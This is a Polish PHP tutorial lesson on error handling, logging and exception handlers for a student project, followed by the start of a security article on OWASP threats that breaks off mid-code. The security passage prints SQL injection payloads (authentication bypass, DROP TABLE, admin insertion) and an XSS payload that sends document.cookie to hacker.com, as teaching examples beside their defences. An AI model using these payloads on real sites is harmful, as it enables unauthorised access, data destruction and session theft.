komunikatAwarii(Throwable $wyjatek): string — zwraca tekst dla gracza: w trybie rozwojowym komunikat wyjątku, w produkcyjnym jedno ogólne zdanie, np. Coś się popsuło po naszej stronie. Spróbuj jeszcze raz za chwilę.

Wymagania:

• typ parametru to Throwable, a nie Exception — te funkcje mają obsłużyć obie gałęzie z sekcji 3.3,
• żadna z nich niczego nie wyświetla,
• do logu nie trafia stos wywołań.

function zapiszBladDoLogu(Throwable $wyjatek, string $gdzie): void
{
    $opis = get_class($wyjatek) . ': ' . $wyjatek->getMessage()
        . ' (' . $wyjatek->getFile() . ':' . $wyjatek->getLine() . ')';

    error_log(/* ... etykieta i opis ... */);
}

<?php

// Funkcje obsługi błędów TaskQuest (Lekcja 23).
// Plik wymaga config/config.php (stałe TRYB_ROZWOJOWY i PLIK_LOGU).

function zapiszBladDoLogu(Throwable $wyjatek, string $gdzie): void
{
    $opis = get_class($wyjatek) . ': ' . $wyjatek->getMessage()
        . ' (' . $wyjatek->getFile() . ':' . $wyjatek->getLine() . ')';

    error_log('[' . $gdzie . '] ' . $opis);
}

function komunikatAwarii(Throwable $wyjatek): string
{
    if (TRYB_ROZWOJOWY) {
        return $wyjatek->getMessage();
    }

    return 'Coś się popsuło po naszej stronie. Spróbuj jeszcze raz za chwilę.';
}

5.3 Włączamy funkcje do TaskQuest

Najpierw dołącz nowy plik. Na końcu config/config.php, pod blokiem z kroku 4.2, dopisz:

require_once dirname(__DIR__) . '/includes/funkcje_bledow.php';

To wyjątek od naszej konwencji. Do tej pory pliki funkcji dołączały strony, a nie inne pliki. Tutaj robimy inaczej, bo obsługa błędów musi działać od pierwszej linii każdej strony, a config/config.php jest jedynym plikiem dołączanym na starcie wszystkich stron. Alternatywą byłoby dopisanie tej samej linii do dziewięciu plików — czyli dokładnie to, co w zadaniu B z Lekcji 22 uznałyśmy za rozwiązanie do poprawienia.

Teraz zmień siedem bloków catch. Wzorzec jest zawsze ten sam — było:

} catch (Exception $wyjatek) {
    $bladBazy = $wyjatek->getMessage();
}

ma być:

} catch (Exception $wyjatek) {
    zapiszBladDoLogu($wyjatek, 'index.php — dane gracza i zadania');
    $bladBazy = komunikatAwarii($wyjatek);
}

Miejsca i etykiety (Ctrl+Shift+F → catch (Exception):

W oznacz-wykonane.php i usun-zadanie.php nie ma zmiennej z komunikatem — wyjątek jest wypisywany wprost w ramce awarii. Tam blok wygląda tak:

} catch (Exception $wyjatek) {
    zapiszBladDoLogu($wyjatek, 'oznacz-wykonane.php');
    $bladAkcji = komunikatAwarii($wyjatek);

    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo '<p class="blad">Nie udało się oznaczyć zadania: ' . htmlspecialchars($bladAkcji) . '</p>';
    // ... link powrotny, footer, exit (bez zmian)
}

htmlspecialchars() zostaje, mimo że w trybie produkcyjnym komunikat jest wpisany w kodzie. W trybie rozwojowym nadal może zawierać tekst z bazy.

Sprawdzenie: zepsuj nazwę kolumny, odśwież index.php — ramka wygląda jak wcześniej, ale w logu jest wpis. Potem zmień TRYB_ROZWOJOWY na false i odśwież ponownie: gracz widzi ogólne zdanie, a log dalej ma szczegóły. Przywróć tytul i true.

6. Strona awarii — set_exception_handler()

6.1 Problem

Sekcja 5 zabezpieczyła wyjątki, które łapiemy. Zostaje druga gałąź z sekcji 3.3: TypeError, DivisionByZeroError, wywołanie nieistniejącej funkcji. Te nadal kończą się komunikatem Fatal error ze ścieżką — a w trybie produkcyjnym, gdzie display_errors jest wyłączone, białą stroną bez żadnej informacji.

set_exception_handler() ustawia funkcję, którą PHP wywoła dla każdego wyjątku, którego nikt nie złapał:

set_exception_handler('nazwaFunkcji');

Funkcja dostaje jeden argument — obiekt Throwable. Po jej zakończeniu skrypt i tak się kończy, ale to my decydujemy, co zobaczy gracz.

Handler obejmuje wszystko, co jest wyjątkiem lub błędem klasy Error — czyli także „Call to undefined function”. Nie obejmuje: błędów składni (plik w ogóle się nie wykonuje), przekroczenia limitu pamięci i czasu oraz zwykłych Warning (te nie są wyjątkami — zajmują się nimi ustawienia z sekcji 4).

6.2 SAMODZIELNIE — pokazAwarie()

Dopisz w includes/funkcje_bledow.php funkcję pokazAwarie(Throwable $wyjatek): void, która:

1. zapisze błąd do logu z etykietą niezłapany wyjątek,
2. ustawi kod odpowiedzi HTTP na 500, jeśli nagłówki nie zostały jeszcze wysłane,
3. wyświetli prostą stronę: nagłówek „TaskQuest”, zdanie dla gracza i link do index.php,
4. tylko w trybie rozwojowym dopisze klasę wyjątku, komunikat, plik z numerem linii i stos wywołań.

Dwie wskazówki co do formy: nie używaj header.php ani footer.php (awaria może dotyczyć właśnie ich — strona błędu nie może zależeć od tego, co się zepsuło) i pamiętaj o htmlspecialchars() przy każdej wartości spoza kodu.

function pokazAwarie(Throwable $wyjatek): void
{
    zapiszBladDoLogu($wyjatek, 'niezłapany wyjątek');

    if (!headers_sent()) {
        http_response_code(500);
    }

    echo '<h1>TaskQuest</h1>';
    // ... zdanie dla gracza, szczegóły tylko gdy TRYB_ROZWOJOWY, link powrotny
}

function pokazAwarie(Throwable $wyjatek): void
{
    zapiszBladDoLogu($wyjatek, 'niezłapany wyjątek');

    if (!headers_sent()) {
        http_response_code(500);
    }

    echo '<h1>TaskQuest</h1>';
    echo '<p>Coś się popsuło po naszej stronie. Spróbuj jeszcze raz za chwilę.</p>';

    if (TRYB_ROZWOJOWY) {
        echo '<p><strong>' . htmlspecialchars(get_class($wyjatek)) . ':</strong> '
            . htmlspecialchars($wyjatek->getMessage()) . '</p>';
        echo '<p>' . htmlspecialchars($wyjatek->getFile()) . ':' . $wyjatek->getLine() . '</p>';
        echo '<pre>' . htmlspecialchars($wyjatek->getTraceAsString()) . '</pre>';
    }

    echo '<p><a href="index.php">← Wróć do TaskQuest</a></p>';
}

6.3 Włączamy handler

W config/config.php, w ostatniej linii pliku (pod require_once z sekcji 5.3), dopisz:

set_exception_handler('pokazAwarie');

Kolejność jest ważna: najpierw plik z funkcjami, dopiero potem rejestracja handlera — inaczej PHP nie zna jeszcze funkcji pokazAwarie.

Sprawdzenie: powtórz atak z sekcji 2 — zmień w dodaj-zadanie.php pole na name="tytul[]" i wyślij formularz. Zamiast Fatal error ze ścieżką dostaniesz stronę awarii, a w logu pojawi się wpis [niezłapany wyjątek] TypeError: .... Przełącz TRYB_ROZWOJOWY na false i powtórz: gracz widzi samo zdanie, Ty masz wszystko w logu. Przywróć name="tytul" i true.

Zauważ, że problem z polem wysłanym jako tablica nie zniknął — zmieniło się tylko to, co widzi gracz. Prawdziwa poprawka (sprawdzanie is_string() przy odczycie pól) to zadanie końcowe B.

7. Kolejne zadanie — znajdź cudzy błąd

Narzędzia, których używasz do zaglądania w środek działającego programu:

var_dump($zmienna);    // typ + wartość, najdokładniejsze
print_r($tablica);     // czytelniejsze dla tablic i obiektów, bez typów
print_r($tablica, true);  // zwraca tekst zamiast wypisywać — nadaje się do error_log()

Wypróbuj w brudnopisie różnicę na ['a' => 1, 'b' => '1', 'c' => true]. print_r() pokaże trzy podobne wartości, var_dump() pokaże, że to int, string i bool. Przy szukaniu błędu ta różnica jest zwykle kluczowa. Obie funkcje warto otaczać <pre>, żeby zachować formatowanie.

Ale one nie zawsze działają. Strony akcji w TaskQuest (oznacz-wykonane.php, usun-zadanie.php, wyloguj.php) kończą się przekierowaniem. Przeglądarka natychmiast idzie pod nowy adres i nie pokazuje niczego, co ten skrypt wypisał. Dokładnie w tych plikach potrzebujesz logu.

SAMODZIELNIE

Wprowadź do projektu cudzy błąd: w oznacz-wykonane.php znajdź wywołanie zapiszPostepUzytkownika(...) i zamień miejscami dwa ostatnie argumenty (XP i streak).

Zgłoszenie od gracza brzmi: „Klikam Zrobione!, zadanie znika z listy aktywnych, ale XP prawie się nie zmienia, za to seria skacze o kilkadziesiąt”.

Twoje zadanie: nie patrząc na to, co zmieniłaś, znajdź przyczynę, używając logu. Dopisz do oznacz-wykonane.php tymczasowe wpisy error_log() pokazujące wartości przekazywane do funkcji, kliknij „Zrobione!”, odczytaj log i wyciągnij wniosek.

Oczekiwany efekt: w logu widzisz dwie liczby w kolejności, która nie zgadza się z sygnaturą funkcji.

error_log('[debug] xp=' . $zadanie->pobierzXp() . ' streak=' . $uzytkownik->pobierzStreak());

Pytanie kontrolne do siebie: dlaczego PHP nie zgłosiło żadnego błędu, skoro argumenty poszły w złej kolejności?

zapiszPostepUzytkownika($polaczenie, uzytkownikId: $uzytkownikId, zdobyteXp: $zadanie->pobierzXp(), streak: $uzytkownik->pobierzStreak());

8. diagnostyka.php i stopka

diagnostyka.php celowo nie dołącza config/config.php (od Lekcji 10 ma działać nawet wtedy, gdy projekt jest zepsuty). Oznacza to, że nie działa w niej ani tryb błędów, ani handler — i tak ma zostać.

1. W $wymaganePliki dopisz 'includes/funkcje_bledow.php' i 'logs/.htaccess' (razem 25 ścieżek). Samego logs/taskquest.log nie dopisuj — ten plik powstaje dopiero przy pierwszym błędzie, więc jego brak nie jest usterką.
2. Pod sekcją „Avatary” dodaj sekcję „Log błędów” sprawdzającą, czy katalog logs istnieje i czy da się do niego pisać — tak samo jak przy uploads/avatary w Lekcji 21 (is_dir(), is_writable(), ścieżka __DIR__ . '/logs').
3. Sekcja nie pokazuje zawartości logu. diagnostyka.php jest dostępna publicznie, a w logu są nazwy kolumn i ścieżki serwera.
4. W includes/footer.php zmień numer wersji na TaskQuest 2.3.

9. Testy

Test 1 — regresja

Zaloguj się jako Kama_2026 / KamaQuest26. Sprawdź po kolei: lista zadań, filtry widoku, „Zrobione!” (XP i seria rosną poprawnie), „Usuń”, dodanie zadania, zmiana avatara, wylogowanie, rejestracja nowego konta. Wszystko ma działać tak samo jak po Lekcji 22.

Test 2 — awaria bazy, tryb rozwojowy

Zmień w config/config.php stałą BAZA_NAZWA na taskquest_nie_ma. Odśwież index.php.

Oczekiwane: ramka „Nie udało się wczytać danych: Nie udało się połączyć z bazą danych.”
W logu:     [index.php — dane gracza i zadania] Exception: Nie udało się połączyć z bazą danych. (...)

Zwróć uwagę, że komunikat nie zawiera nazwy konta bazy — tak działa polaczZBaza() od Lekcji 18. Przywróć taskquest.

Test 3 — awaria bazy, tryb produkcyjny

Powtórz Test 2 z TRYB_ROZWOJOWY ustawionym na false.

Oczekiwane na stronie: „Coś się popsuło po naszej stronie. Spróbuj jeszcze raz za chwilę.”
Oczekiwane w logu:     ten sam wpis co w Teście 2

Test 4 — błąd zapytania

Przy TRYB_ROZWOJOWY = false zepsuj nazwę kolumny (tytul → tytul2) i odśwież index.php.

Na stronie: ogólne zdanie, bez nazwy kolumny
W logu:     mysqli_sql_exception: Unknown column 'tytul2' in 'field list'

To jest cel całej lekcji: informacja dotarła do Ciebie, ale nie do gracza. Przywróć tytul i true.

Test 5 — niezłapany TypeError

Zmień w dodaj-zadanie.php name="tytul" na name="tytul[]" i wyślij formularz.

Oczekiwane: strona awarii (nie biała strona, nie Fatal error ze ścieżką)
W logu:     [niezłapany wyjątek] TypeError: trim(): Argument #1 ...

Sprawdź w obu trybach i przywróć name="tytul".

Test 6 — log niedostępny z przeglądarki

http://localhost/taskquest/logs/taskquest.log → 403 Forbidden. Dla porównania http://localhost/taskquest/index.php ma działać normalnie.

Test 7 — diagnostyka

diagnostyka.php: 25 ścieżek [OK], sekcja „Log błędów” pokazuje, że katalog istnieje i jest zapisywalny.

Test 8 — nietknięta walidacja

Wyślij formularz dodawania zadania z pustym tytułem i XP = 500.

Oczekiwane: ramka „Popraw formularz:” z dwoma komunikatami — tak jak dotąd
W logu:     nic

Błąd użytkownika to nie awaria. Gdyby w logu pojawiał się wpis za każdym razem, gdy ktoś się pomyli w formularzu, log przestałby być przydatny.

10. Obowiązkowe eksperymenty

Eksperyment 1 — catch nie łapi wszystkiego

W index.php, wewnątrz bloku try odpowiedzialnego za dane z bazy, dopisz jako pierwszą linię intdiv(1, 0);. Odśwież stronę.

Pytanie: dlaczego nie zobaczyłaś ramki „Nie udało się wczytać danych”, mimo że błąd wystąpił dokładnie wewnątrz try? Które rozwiązanie z dzisiejszej lekcji go obsłużyło? Usuń linię.

Eksperyment 2 — dwa rodzaje błędu składni

Ustaw TRYB_ROZWOJOWY = false.

1. Usuń średnik w dowolnej linii pliku includes/funkcje_zadan.php. Odśwież index.php → biała strona, ale w logu jest wpis PHP Parse error: .... Napraw.
2. Usuń średnik w dowolnej linii index.php. Odśwież → tym razem komunikat najpewniej pojawi się na stronie. Napraw.

Wyjaśnij różnicę. Wskazówka: w którym momencie PHP wykonuje ini_set('display_errors', '0') z config.php, a w którym czyta plik index.php? Przywróć true.

Eksperyment 3 — log, którego nie ma

Zmień nazwę katalogu logs na logi (nie zmieniając config.php). Wywołaj dowolną awarię z Testu 2.

Pytanie: czy dostałaś jakąkolwiek informację o tym, że zapis do logu się nie udał? Co to znaczy w praktyce dla aplikacji na serwerze i jak można się przed tym zabezpieczyć? Przywróć nazwę logs.

Eksperyment 4 — var_dump() w miejscu, gdzie go nie widać

W usun-zadanie.php dopisz tuż przed przekierowaniem var_dump($zadanieId);. Usuń dowolne zadanie.

Pytanie: gdzie podział się wypisany tekst? Zamień var_dump() na error_log('[debug] id=' . $zadanieId); i powtórz. Sformułuj regułę: kiedy używasz var_dump(), a kiedy error_log()? Usuń obie linie.

Eksperyment 5 — „headers already sent”

W dodaj-zadanie.php dopisz echo 'test'; przed blokiem if ($_SERVER['REQUEST_METHOD'] === 'POST'). Dodaj zadanie.

Zamiast przekierowania zobaczysz ostrzeżenie o nagłówkach. Wyjaśnij, dlaczego jeden echo psuje header('Location: ...') i dlaczego w naszych stronach z formularzem cała logika jest nad require_once header.php. Usuń echo.

11. ROZWIĄZANIE — wersja referencyjna

Pliki niewymienione poniżej (klasy, header.php, funkcje_grywalizacji.php, funkcje_terminow.php, funkcje_zadan.php, funkcje_tekstowe.php, funkcje_sesji.php, funkcje_avatara.php, funkcje_bazy.php, sql/taskquest.sql, uploads/avatary/.htaccess) są identyczne jak po Lekcji 22.

# TaskQuest (L23): log błędów nie jest do oglądania przez przeglądarkę.
Require all denied

// --- tryb pracy aplikacji (L23) ---
// true  = Twój komputer: błędy widać na stronie
// false = serwer: gracz widzi tylko ogólny komunikat, szczegóły idą do logu
define('TRYB_ROZWOJOWY', true);

define('PLIK_LOGU', dirname(__DIR__) . '/logs/taskquest.log');

error_reporting(E_ALL);
ini_set('log_errors', '1');
ini_set('error_log', PLIK_LOGU);

if (TRYB_ROZWOJOWY) {
    ini_set('display_errors', '1');
} else {
    ini_set('display_errors', '0');
}

// --- obsługa błędów dla całej aplikacji (L23) ---
require_once dirname(__DIR__) . '/includes/funkcje_bledow.php';
set_exception_handler('pokazAwarie');

<?php

// Funkcje obsługi błędów TaskQuest (Lekcja 23).
// Plik wymaga config/config.php (stałe TRYB_ROZWOJOWY i PLIK_LOGU).

function zapiszBladDoLogu(Throwable $wyjatek, string $gdzie): void
{
    $opis = get_class($wyjatek) . ': ' . $wyjatek->getMessage()
        . ' (' . $wyjatek->getFile() . ':' . $wyjatek->getLine() . ')';

    error_log('[' . $gdzie . '] ' . $opis);
}

function komunikatAwarii(Throwable $wyjatek): string
{
    if (TRYB_ROZWOJOWY) {
        return $wyjatek->getMessage();
    }

    return 'Coś się popsuło po naszej stronie. Spróbuj jeszcze raz za chwilę.';
}

function pokazAwarie(Throwable $wyjatek): void
{
    zapiszBladDoLogu($wyjatek, 'niezłapany wyjątek');

    if (!headers_sent()) {
        http_response_code(500);
    }

    echo '<h1>TaskQuest</h1>';
    echo '<p>Coś się popsuło po naszej stronie. Spróbuj jeszcze raz za chwilę.</p>';

    if (TRYB_ROZWOJOWY) {
        echo '<p><strong>' . htmlspecialchars(get_class($wyjatek)) . ':</strong> '
            . htmlspecialchars($wyjatek->getMessage()) . '</p>';
        echo '<p>' . htmlspecialchars($wyjatek->getFile()) . ':' . $wyjatek->getLine() . '</p>';
        echo '<pre>' . htmlspecialchars($wyjatek->getTraceAsString()) . '</pre>';
    }

    echo '<p><a href="index.php">← Wróć do TaskQuest</a></p>';
}

} catch (Exception $wyjatek) {
    zapiszBladDoLogu($wyjatek, 'index.php — dane gracza i zadania');
    $bladBazy = komunikatAwarii($wyjatek);
}

<h2>Log błędów</h2>
<?php
$katalogLogow = __DIR__ . '/logs';

if (!is_dir($katalogLogow)) {
    echo '<p>[BRAK] Katalog logs/ nie istnieje — utwórz go ręcznie.</p>';
} elseif (!is_writable($katalogLogow)) {
    echo '<p>[BRAK] Katalog logs/ istnieje, ale nie można do niego pisać.</p>';
} else {
    echo '<p>[OK] Katalog logs/ istnieje i jest zapisywalny.</p>';
}
?>

        <p>TaskQuest 2.3</p>

12. Co zmieniliśmy w TaskQuest?

Zostaje

wszystko z Lekcji 22: konta z hasłem, rejestracja, token CSRF, escapowanie, .htaccess w uploads/
zadania w bazie, XP, seria dni, avatary, ranking, filtry widoku, komunikaty jednorazowe
walidacja danych od użytkownika jako tablica komunikatów (błąd użytkownika to nie awaria)
catch (Exception ...) w siedmiu miejscach — łapiemy przewidziane awarie, nie błędy programisty
polaczZBaza() nadal ukrywa szczegóły połączenia
diagnostyka.php nadal bez config.php i bez sesji

Dochodzi

config/config.php:
    TRYB_ROZWOJOWY, PLIK_LOGU
    error_reporting(E_ALL), display_errors zależne od trybu, log_errors, error_log
    require_once funkcje_bledow.php + set_exception_handler('pokazAwarie')
includes/funkcje_bledow.php:
    zapiszBladDoLogu(Throwable $wyjatek, string $gdzie): void
    komunikatAwarii(Throwable $wyjatek): string
    pokazAwarie(Throwable $wyjatek): void
logs/ — katalog na log aplikacji (tworzony ręcznie)
logs/.htaccess — Require all denied
$bladAkcji w oznacz-wykonane.php i usun-zadanie.php

Nowe mechanizmy PHP: error_reporting(), ini_set(), ini_get(), error_log(), set_exception_handler(), headers_sent(), http_response_code(), get_class(), interfejs Throwable i klasy Error (TypeError, DivisionByZeroError); w brudnopisie var_dump(), print_r().

Zmieniamy

• siedem bloków catch: zapis do logu + komunikat zależny od trybu zamiast $wyjatek->getMessage(),
• diagnostyka.php: 25 ścieżek, sekcja „Log błędów”,
• stopka: 2.3.

Usuwamy

Nic. Lekcja 23 nic nie odbiera aplikacji.

Co nowego potrafi TaskQuest po tej lekcji?

Po Lekcji 23 TaskQuest pracuje w dwóch trybach. Na Twoim komputerze pokazuje pełne szczegóły każdego błędu, a na serwerze — jedno ogólne zdanie, bez nazw kolumn i ścieżek do plików. Niezależnie od trybu każda awaria zostawia wpis w logs/taskquest.log, którego nie da się odczytać przez przeglądarkę. Błąd, którego nikt nie złapał, kończy się stroną awarii zamiast białego ekranu.

13. Zadania końcowe — rozbuduj TaskQuest samodzielnie

Nie są częścią wersji referencyjnej.

A. Numer zgłoszenia. W trybie produkcyjnym gracz widzi ogólne zdanie i nie ma czym się posłużyć, pisząc do Ciebie. Wygeneruj krótki identyfikator awarii (np. bin2hex(random_bytes(4)) — znasz to z Lekcji 22), dopisz go do wpisu w logu i pokaż graczowi: „Numer zgłoszenia: 3f9a1c07”. Zastanów się: która z trzech funkcji powinna go tworzyć, żeby log i komunikat miały ten sam numer?

B. Pole wysłane jako tablica. Popraw prawdziwą przyczynę błędu z sekcji 2: przy odczycie pól formularza sprawdzaj is_string() (tak jak sprawdzTokenCsrf() sprawdza token od Lekcji 22). Które pliki i które linie trzeba zmienić? Czy to ma być nowy komunikat w $bledy, czy ciche potraktowanie takiego pola jako pustego? Uzasadnij wybór.

C. Warning też do logu — i co dalej. Poczytaj o set_error_handler(). Napisz funkcję, która zamienia ostrzeżenia PHP na wyjątki (ErrorException), i włącz ją w config.php. Sprawdź na move_uploaded_file() przy usuniętym katalogu uploads/avatary/ (sytuacja z Lekcji 21). Potem odpowiedz: czy to jest dobry pomysł dla TaskQuest? Co się stanie z ostrzeżeniami, które dziś aplikacja spokojnie ignoruje?

D. Nie każdy błąd jest wyjątkiem. Handler z sekcji 6 nie obejmuje przekroczenia limitu pamięci ani czasu wykonania. Poczytaj o register_shutdown_function() i error_get_last() i dopisz obsługę takiego przypadku. Jak sprawdzisz, że działa, nie czekając 30 sekund? (Wskazówka: ini_set('memory_limit', ...) w brudnopisie i duża tablica.)

E. Xdebug. Zainstaluj Xdebug w XAMPP i połącz go z VS Code. Postaw pułapkę (breakpoint) w oznacz-wykonane.php i przejdź przez kod krok po kroku, oglądając wartości zmiennych. Porównaj z metodą error_log() z sekcji 7 — co jest szybsze przy jednym sprawdzeniu, a co przy szukaniu błędu, którego nie umiesz zlokalizować?

Sprzątanie

1. Usuń brudnopis.php.
2. Sprawdź, że przywrócone są: nazwa kolumny tytul w wczytajZadaniaUzytkownika(), name="tytul" w dodaj-zadanie.php, BAZA_NAZWA = taskquest, TRYB_ROZWOJOWY = true, poprawna kolejność argumentów w zapiszPostepUzytkownika(...), nazwa katalogu logs.
3. Usuń wszystkie tymczasowe error_log(), var_dump() i echo 'test'; z eksperymentów (Ctrl+Shift+F → debug, potem var_dump).
4. Uruchom ponownie sql/taskquest.sql (XP i seria Kamy zmieniły się podczas Testu 1 i zadania z sekcji 7) i opróżnij uploads/avatary/ z plików avatar_... — .htaccess zostaje.
5. Opróżnij logs/taskquest.log (zaznacz wszystko, usuń, zapisz) — plik ma zostać, zawartość nie.
6. Zaloguj się jako Kama_2026 / KamaQuest26. diagnostyka.php — wszystko [OK].

Do samodzielnego sprawdzenia

[ ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
[ ] Rozpoznaję po komunikacie, czy to Parse error, Fatal error, Warning czy Deprecated.
[ ] Potrafię wskazać w komunikacie plik i linię i wiem, dlaczego to nie zawsze miejsce powstania błędu.
[ ] Wiem, czym różni się Exception od Error i czego nie łapie catch (Exception ...).
[ ] Umiem ustawić tryb rozwojowy i produkcyjny i wiem, dlaczego error_reporting(E_ALL) zostaje w obu.
[ ] Wiem, dlaczego log błędów nie może być dostępny przez przeglądarkę.
[ ] Potrafię dopisać własny wpis do logu funkcją error_log().
[ ] Wiem, dlaczego do logu nie trafia stos wywołań.
[ ] Wiem, co robi set_exception_handler() i czego nie obejmuje.
[ ] Wiem, kiedy var_dump() nic mi nie pokaże i czego użyć zamiast niego.
[ ] Usunęłam/usunąłem brudnopis i wszystkie tymczasowe wpisy debugujące.

Pytania kontrolne

1. Kolega wstawił na górze pliku echo "Start";, a niżej ma błąd składni. Twierdzi, że „przynajmniej początek strony się wyświetli”. Czy ma rację? Uzasadnij.
2. W pliku jest try { $wynik = 10 / $dzielnik; } catch (Exception $wyjatek) { echo 'Błąd'; }. Co zobaczy użytkownik, gdy $dzielnik wynosi 0? Jak to poprawić, nie używając catch (Throwable ...)?
3. Koleżanka ustawiła na serwerze error_reporting(0), „żeby użytkownicy nie widzieli błędów”. Wymień dwa problemy, jakie sobie w ten sposób stworzyła, i podaj poprawne ustawienie.
4. Czym różni się ini_set('display_errors', '0') od ini_set('log_errors', '0')? Które z tych ustawień w TaskQuest zmienia się razem z TRYB_ROZWOJOWY, a które nie — i dlaczego?
5. Dlaczego zapiszBladDoLogu() przyjmuje Throwable, a nie Exception? Podaj konkretny przypadek z tej lekcji, w którym ten wybór ma znaczenie.
6. Gracz dostał komunikat „Coś się popsuło po naszej stronie” i pisze do Ciebie o 22:00. Opisz krok po kroku, co robisz, żeby ustalić przyczynę.
7. set_exception_handler() nie zadziała dla trzech rodzajów problemów. Wymień je i powiedz, co obsługuje je zamiast handlera.
8. Znajdź co najmniej trzy błędy: function zapiszBlad(Exception $wyjatek): string { error_log(date('Y-m-d H:i') . ' ' . $wyjatek->getTraceAsString()); echo '<p>' . $wyjatek->getMessage() . '</p>'; return $wyjatek->getFile(); }
9. W dodaj-zadanie.php pusty tytuł daje komunikat „Tytuł jest wymagany.”, a awaria bazy — wpis w logu. Dlaczego pusty tytuł nie trafia do logu? Co by się stało z logiem, gdybyśmy zapisywały tam każdy błąd walidacji?
10. pokazAwarie() wypisuje własny prosty HTML zamiast użyć header.php i footer.php, przez co strona awarii nie ma stylów TaskQuest. Podaj powód tej decyzji i jedną sytuację, w której użycie header.php skończyłoby się źle.

Artykuł 23. PHP – Debugowanie i obsługa błędów pochodzi z serwisu Kama Kaczmarek.

Najczęstsze zagrożenia (OWASP Top 10):

• SQL Injection – wstrzykiwanie złośliwego kodu SQL
• XSS (Cross-Site Scripting) – wstrzykiwanie kodu JavaScript
• CSRF (Cross-Site Request Forgery) – fałszywe żądania
• Session Hijacking – kradzież sesji użytkownika
• Weak Authentication – słabe zabezpieczenia logowania

1. SQL Injection – Wstrzykiwanie kodu SQL

SQL Injection to atak polegający na wstawieniu złośliwego kodu SQL do zapytania, co pozwala:

• Wykraść całą bazę danych
• Usunąć wszystkie dane
• Zmienić hasła użytkowników
• Uzyskać dostęp administratora

Przykład ataku – Logowanie

Kod podatny na atak (NIGDY TAK NIE RÓB!):

<?php
//...
// NIEBEZPIECZNY KOD!
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($db, $query);

if (mysqli_num_rows($result) > 0) {
    echo "Zalogowano!";
}
?>

Co się stanie gdy haker wpisze:

Username: admin' OR '1'='1
Password: cokolwiek

Zapytanie SQL stanie się:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'cokolwiek'

'1'='1' jest zawsze prawdą, więc haker zostanie zalogowany jako admin bez znajomości hasła!

Inne przykłady ataków SQL Injection

1. Wyciągnięcie całej bazy danych:

Username: admin'; SELECT * FROM users; --

2. Usunięcie tabeli:

Username: admin'; DROP TABLE users; --

3. Dodanie admina:

Username: admin'; INSERT INTO users (username, password, role) VALUES ('hacker', 'hack123', 'admin'); --

Ochrona przed SQL Injection – Prepared Statements

MySQLi – Prepared Statements:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    
    // BEZPIECZNE - Prepared Statement
    $stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $wynik = $stmt->get_result();
    $user = $wynik->fetch_assoc();
    $stmt->close();
    
    if ($user && password_verify($password, $user['password'])) {
        echo "Zalogowano pomyślnie!";
    } else {
        echo "Nieprawidłowy login lub hasło";
    }
}

$db->close();
?>

PDO – Prepared Statements:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        
        $username = trim($_POST['username'] ?? '');
        $password = $_POST['password'] ?? '';
        
        // BEZPIECZNE - Prepared Statement
        $stmt = $pdo->prepare("SELECT id, username, password FROM users WHERE username = :username");
        $stmt->execute(['username' => $username]);
        $user = $stmt->fetch();
        
        if ($user && password_verify($password, $user['password'])) {
            echo "Zalogowano pomyślnie!";
        } else {
            echo "Nieprawidłowy login lub hasło";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?>

Zasady ochrony przed SQL Injection:

• ZAWSZE używaj Prepared Statements
• Waliduj typy danych – rzutuj na (int) dla liczb
• Escapuj specjalne znaki – mysqli_real_escape_string() (ostateczność)
• NIGDY nie łącz SQL przez konkatenację z danymi użytkownika

2. XSS (Cross-Site Scripting) – Wstrzykiwanie JavaScript

XSS to atak polegający na wstrzyknięciu złośliwego kodu JavaScript do strony, który wykona się w przeglądarce innych użytkowników.

Skutki ataku XSS:

• Kradzież cookies i sesji
• Przekierowanie na fałszywe strony
• Zmiana treści strony
• Kradzież danych z formularzy

Przykład ataku XSS

Kod podatny na atak:

<?php
// NIEBEZPIECZNY KOD!
$username = $_GET['username'];
echo "Witaj, $username!";
?>

Haker wpisuje w URL:

strona.php?username=<script>alert('Hacked!')</script>

JavaScript się wykona i użytkownik zobaczy alert „Hacked!”.

Bardziej niebezpieczny przykład – Kradzież sesji

strona.php?username=<script>document.location='http://hacker.com/steal.php?cookie='+document.cookie</script>

Ten kod wysyła cookies użytkownika (w tym ID sesji) do hakera!

Ochrona przed XSS – htmlspecialchars()

<?php
// BEZPIECZNY KOD
$username = $_GET['username'] ?? 'Gość';

// Escapujemy specjalne znaki HTML
$safe_username = htmlspecialchars($username, ENT_QUOTES, 'UTF-8');

echo "Witaj, {$safe_username}!";
?>

Co robi htmlspecialchars()?

Zamienia:

• < na <
• > na >
• " na "
• ' na '
• & na &

Dzięki temu <script> staje się <script> i jest wyświetlane jako tekst, nie kod!

Przykład – Komentarze na blogu

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'blog');
$db->set_charset('utf8mb4');

// Dodawanie komentarza
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $author = trim($_POST['author'] ?? '');
    $comment = trim($_POST['comment'] ?? '');
    
    if (!empty($author) && !empty($comment)) {
        
        // Zapisujemy RAW dane do bazy (NIE escapujemy przy zapisie!)
        $stmt = $db->prepare("INSERT INTO comments (author, comment, created_at) VALUES (?, ?, NOW())");
        $stmt->bind_param("ss", $author, $comment);
        
        if ($stmt->execute()) {
            header("Location: komentarze.php");
            exit;
        }
        
        $stmt->close();
    }
}

// Wyświetlanie komentarzy
